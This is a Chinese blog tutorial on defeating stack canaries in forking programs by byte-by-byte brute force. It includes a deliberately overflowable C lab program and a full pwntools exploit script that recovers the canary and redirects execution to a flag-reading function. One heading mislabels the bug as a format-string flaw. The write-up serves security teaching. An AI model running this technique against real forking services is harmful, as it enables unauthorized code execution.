通过fork进程爆破canary

1.1.1    通过fork进程爆破canary

⑴.原理分析:

对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

另外有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。设计canary的人正是考虑到了这一点,就让canary的最低位恒为零,这样就不存在上面截不截断的问题了。

 

⑵.环境准备:

 i.存在格式化字符串漏洞的程序:

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <sys/wait.h>

void getflag(void) {

    char flag[100];

    FILE *fp = fopen("./flag", "r");

    if (fp == NULL) {

        puts("get flag error");

              exit(0);

    }  

    fgets(flag, 100, fp);

    puts(flag);

}

void init() {

    setbuf(stdin, NULL);

    setbuf(stdout, NULL);

    setbuf(stderr, NULL);

}

void fun(void) {

    char buffer[100];

    read(STDIN_FILENO, buffer, 120);

}

int main(void) {

    init();

     pid_t pid;

     while(1) {

              pid = fork();

              if(pid < 0) {

                       puts("fork error");

                       exit(0);

              }

              else if(pid == 0) {

                       puts("welcome");

                       fun();

                       puts("recv sucess");

              }

              else {

                       wait(0);

              }

     }

}

 

ii.测试环境:

测试平台linux debian 7

攻击脚本编写模块:pwntools。

辅助调试插件:gdb-peda

 

iii. 编译命令:

gcc -m32 -q -z execstack -fstack-protector-all -o fork_canary fork_canary.c

                  

⑶.调试分析:

i. 查看保护机制:

                  

可以看到只开启了canary保护机制。

                  

ii.找到存在缓冲区溢出漏洞的函数的canary值地址:

                  

Canary位于:[ebp-0xc]=0xffffd28c。

                  

iii. 找到缓冲区起始地址:

       

缓冲区起始地址:0xffffd228。

 

iv.确定返回地址:

 

Ret address = 0xffffd29c

⑷.攻击过程:

i.攻击思路:因为canary的值的第一个字节总是0x00,所以只需要爆破剩下的三个字节就可以了,每次尝试一个字节,如果程序顺利执行得到结果“welcome\n”,否则程序崩溃,通过穷举就能爆破处正确的canary值。

 

ii.得到getflag函数的地址:

 

 

iii.计算缓冲区大小:

由上面的调试分析可知:

缓冲区大小等于缓冲区结束的地址0xffffd28c - 0xffffd228 = 100(字节)。

 

iv.编写攻击脚本:

from pwn import *

context.log_level = 'debug'

cn = process('./fork_canary')

cn.recvuntil('welcome\n')

canary = '\x00'

for j in range(3):

    for i in range(0x100):

        cn.send('a'*100 + canary + chr(i))

        a = cn.recvuntil('welcome\n')

        if 'recv' in a:

            canary += chr(i)

            break

cn.sendline('a'*100 + canary + 'a'*12 + p32(0x5655573d))

flag = cn.recv()

cn.close()

log.success('flag is:' + flag)

 

运行攻击脚本:

 

成功爆破。

 

posted on 2018-05-31 14:52  zhang293  阅读(1469)  评论(0编辑  收藏  举报

导航